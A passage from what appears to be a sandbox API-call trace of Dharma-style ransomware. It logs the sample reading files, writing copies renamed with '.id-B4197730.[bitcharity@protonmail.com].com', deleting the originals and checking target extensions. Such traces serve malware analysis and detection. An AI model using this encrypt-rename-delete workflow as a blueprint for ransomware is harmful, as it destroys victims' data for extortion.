(lpString1=".xml", lpString2=".com") returned 1 [0137.457] lstrlenW (lpString="UiInfo.xml") returned 10 [0137.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0137.458] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=39042) returned 1 [0137.458] CloseHandle (hObject=0x10c8) returned 1 [0137.459] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80 [0137.459] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.459] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0137.459] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.459] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.459] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0137.461] GetLastError () returned 0x0 [0137.461] ReadFile (in: hFile=0x10c8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x9882, lpOverlapped=0x0) returned 1 [0137.630] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x9890, lpOverlapped=0x0) returned 1 [0137.632] ReadFile (in: hFile=0x10c8, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.632] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xe8, lpOverlapped=0x0) returned 1 [0137.632] SetEndOfFile (hFile=0x10c0) returned 1 [0137.632] CloseHandle (hObject=0x10c0) returned 1 [0137.637] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.637] SetEndOfFile (hFile=0x10c8) returned 1 [0137.638] CloseHandle (hObject=0x10c8) returned 1 [0137.638] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.639] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0137.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0137.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0137.639] lstrlenW (lpString=".doc") returned 4 [0137.639] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.639] lstrlenW (lpString=".docx") returned 5 [0137.639] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0137.639] lstrlenW (lpString=".pdf") returned 4 [0137.639] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.639] lstrlenW (lpString=".xls") returned 4 [0137.639] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.639] lstrlenW (lpString=".xlsx") returned 5 [0137.639] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0137.639] lstrlenW (lpString=".ppt") returned 4 [0137.639] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0137.639] lstrlenW (lpString=".zip") returned 4 [0137.639] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.639] lstrlenW (lpString=".rar") returned 4 [0137.639] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.639] lstrlenW (lpString=".bz2") returned 4 [0137.639] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.640] lstrlenW (lpString=".7z") returned 3 [0137.640] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0137.640] lstrlenW (lpString=".dbf") returned 4 [0137.640] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0137.640] lstrlenW (lpString=".1cd") returned 4 [0137.640] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0137.644] lstrlenW (lpString=".jpg") returned 4 [0137.644] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0137.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0137.644] lstrlenW (lpString=".doc") returned 4 [0137.644] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.644] lstrlenW (lpString=".docx") returned 5 [0137.644] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0137.644] lstrlenW (lpString=".pdf") returned 4 [0137.644] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.644] lstrlenW (lpString=".xls") returned 4 [0137.644] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.644] lstrlenW (lpString=".xlsx") returned 5 [0137.644] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0137.645] lstrlenW (lpString=".ppt") returned 4 [0137.645] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0137.645] lstrlenW (lpString=".zip") returned 4 [0137.645] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.645] lstrlenW (lpString=".rar") returned 4 [0137.645] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.645] lstrlenW (lpString=".bz2") returned 4 [0137.645] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.645] lstrlenW (lpString=".7z") returned 3 [0137.645] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0137.645] lstrlenW (lpString=".dbf") returned 4 [0137.645] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0137.645] lstrlenW (lpString=".1cd") returned 4 [0137.645] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0137.645] lstrlenW (lpString=".jpg") returned 4 [0137.645] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.645] lstrcmpiW (lpString1=".xsd", lpString2=".com") returned 1 [0137.645] lstrlenW (lpString="SetupUi.xsd") returned 11 [0137.646] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0137.865] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=30120) returned 1 [0137.865] CloseHandle (hObject=0x10c4) returned 1 [0137.865] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0137.865] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.865] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0137.865] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.865] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.865] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0137.866] GetLastError () returned 0x0 [0137.866] ReadFile (in: hFile=0x10c4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x75a8, lpOverlapped=0x0) returned 1 [0138.065] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x75b0, lpOverlapped=0x0) returned 1 [0138.067] ReadFile (in: hFile=0x10c4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0138.067] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xea, lpOverlapped=0x0) returned 1 [0138.067] SetEndOfFile (hFile=0x103c) returned 1 [0138.067] CloseHandle (hObject=0x103c) returned 1 [0138.069] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0138.069] SetEndOfFile (hFile=0x10c4) returned 1 [0138.073] CloseHandle (hObject=0x10c4) returned 1 [0138.074] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0138.074] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0138.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0138.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0138.074] lstrlenW (lpString=".doc") returned 4 [0138.074] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0138.074] lstrlenW (lpString=".docx") returned 5 [0138.074] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0138.074] lstrlenW (lpString=".pdf") returned 4 [0138.074] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0138.075] lstrlenW (lpString=".xls") returned 4 [0138.075] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0138.075] lstrlenW (lpString=".xlsx") returned 5 [0138.075] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0138.075] lstrlenW (lpString=".ppt") returned 4 [0138.075] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0138.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0138.075] lstrlenW (lpString=".zip") returned 4 [0138.075] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0138.075] lstrlenW (lpString=".rar") returned 4 [0138.075] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0138.075] lstrlenW (lpString=".bz2") returned 4 [0138.075] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0138.075] lstrlenW (lpString=".7z") returned 3 [0138.075] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0138.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0138.075] lstrlenW (lpString=".dbf") returned 4 [0138.075] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0138.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0138.075] lstrlenW (lpString=".1cd") returned 4 [0138.075] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0138.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0138.075] lstrlenW (lpString=".jpg") returned 4 [0138.075] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0138.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0138.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0138.076] lstrlenW (lpString=".doc") returned 4 [0138.076] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0138.076] lstrlenW (lpString=".docx") returned 5 [0138.076] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0138.076] lstrlenW (lpString=".pdf") returned 4 [0138.076] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0138.076] lstrlenW (lpString=".xls") returned 4 [0138.076] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0138.076] lstrlenW (lpString=".xlsx") returned 5 [0138.076] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0138.076] lstrlenW (lpString=".ppt") returned 4 [0138.076] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0138.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0138.076] lstrlenW (lpString=".zip") returned 4 [0138.076] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0138.076] lstrlenW (lpString=".rar") returned 4 [0138.076] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0138.076] lstrlenW (lpString=".bz2") returned 4 [0138.076] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0138.076] lstrlenW (lpString=".7z") returned 3 [0138.076] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0138.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0138.076] lstrlenW (lpString=".dbf") returned 4 [0138.076] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0138.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0138.076] lstrlenW (lpString=".1cd") returned 4 [0138.077] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0138.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0138.077] lstrlenW (lpString=".jpg") returned 4 [0138.077] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0138.077] lstrcmpiW (lpString1=".bmp", lpString2=".com") returned -1 [0138.077] lstrlenW (lpString="SplashScreen.bmp") returned 16 [0138.077] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0138.077] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=41080) returned 1 [0138.077] CloseHandle (hObject=0x10c4) returned 1 [0138.078] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0138.078] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.078] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0138.078] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0138.078] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0138.078] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0138.079] GetLastError () returned 0x0 [0138.079] ReadFile (in: hFile=0x10c4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xa078, lpOverlapped=0x0) returned 1 [0138.234] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xa080, lpOverlapped=0x0) returned 1 [0138.239] ReadFile (in: hFile=0x10c4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0138.239] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xf4, lpOverlapped=0x0) returned 1 [0138.239] SetEndOfFile (hFile=0x103c) returned 1 [0138.239] CloseHandle (hObject=0x103c) returned 1 [0138.250] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0138.250] SetEndOfFile (hFile=0x10c4) returned 1 [0138.251] CloseHandle (hObject=0x10c4) returned 1 [0138.251] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0138.251] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1 [0138.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0138.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0138.252] lstrlenW (lpString=".doc") returned 4 [0138.252] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0138.252] lstrlenW (lpString=".docx") returned 5 [0138.252] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0138.252] lstrlenW (lpString=".pdf") returned 4 [0138.252] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0138.252] lstrlenW (lpString=".xls") returned 4 [0138.252] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0138.252] lstrlenW (lpString=".xlsx") returned 5 [0138.252] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0138.252] lstrlenW (lpString=".ppt") returned 4 [0138.252] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0138.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0138.252] lstrlenW (lpString=".zip") returned 4 [0138.252] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0138.252] lstrlenW (lpString=".rar") returned 4 [0138.252] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0138.252] lstrlenW (lpString=".bz2") returned 4 [0138.252] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0138.252] lstrlenW (lpString=".7z") returned 3 [0138.252] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0138.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0138.253] lstrlenW (lpString=".dbf") returned 4 [0138.253] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0138.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0138.253] lstrlenW (lpString=".1cd") returned 4 [0138.253] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0138.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0138.253] lstrlenW (lpString=".jpg") returned 4 [0138.253] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0138.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0138.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0138.253] lstrlenW (lpString=".doc") returned 4 [0138.253] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0138.253] lstrlenW (lpString=".docx") returned 5 [0138.253] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0138.253] lstrlenW (lpString=".pdf") returned 4 [0138.253] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0138.253] lstrlenW (lpString=".xls") returned 4 [0138.253] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0138.253] lstrlenW (lpString=".xlsx") returned 5 [0138.253] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0138.253] lstrlenW (lpString=".ppt") returned 4 [0138.253] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0138.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0138.253] lstrlenW (lpString=".zip") returned 4 [0138.253] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0138.253] lstrlenW (lpString=".rar") returned 4 [0138.254] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0138.254] lstrlenW (lpString=".bz2") returned 4 [0138.254] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0138.254] lstrlenW (lpString=".7z") returned 3 [0138.254] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0138.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0138.254] lstrlenW (lpString=".dbf") returned 4 [0138.254] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0138.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0138.254] lstrlenW (lpString=".1cd") returned 4 [0138.254] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0138.254] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38 [0138.254] lstrlenW (lpString=".jpg") returned 4 [0138.254] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0138.254] lstrcmpiW (lpString1=".p7b", lpString2=".com") returned 1 [0138.254] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0138.254] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0138.314] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=4662) returned 1 [0138.314] CloseHandle (hObject=0x10c4) returned 1 [0138.314] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0138.314] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.314] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0138.315] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0138.315] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0138.315] lstrlenW (lpString=".doc") returned 4 [0138.315] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0138.315] lstrlenW (lpString=".docx") returned 5 [0138.315] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0138.315] lstrlenW (lpString=".pdf") returned 4 [0138.315] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0138.315] lstrlenW (lpString=".xls") returned 4 [0138.315] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0138.315] lstrlenW (lpString=".xlsx") returned 5 [0138.315] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0138.315] lstrlenW (lpString=".ppt") returned 4 [0138.315] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0138.315] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0138.315] lstrlenW (lpString=".zip") returned 4 [0138.315] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0138.315] lstrlenW (lpString=".rar") returned 4 [0138.315] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0138.315] lstrlenW (lpString=".bz2") returned 4 [0138.315] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0138.315] lstrlenW (lpString=".7z") returned 3 [0138.315] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0138.315] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0138.315] lstrlenW 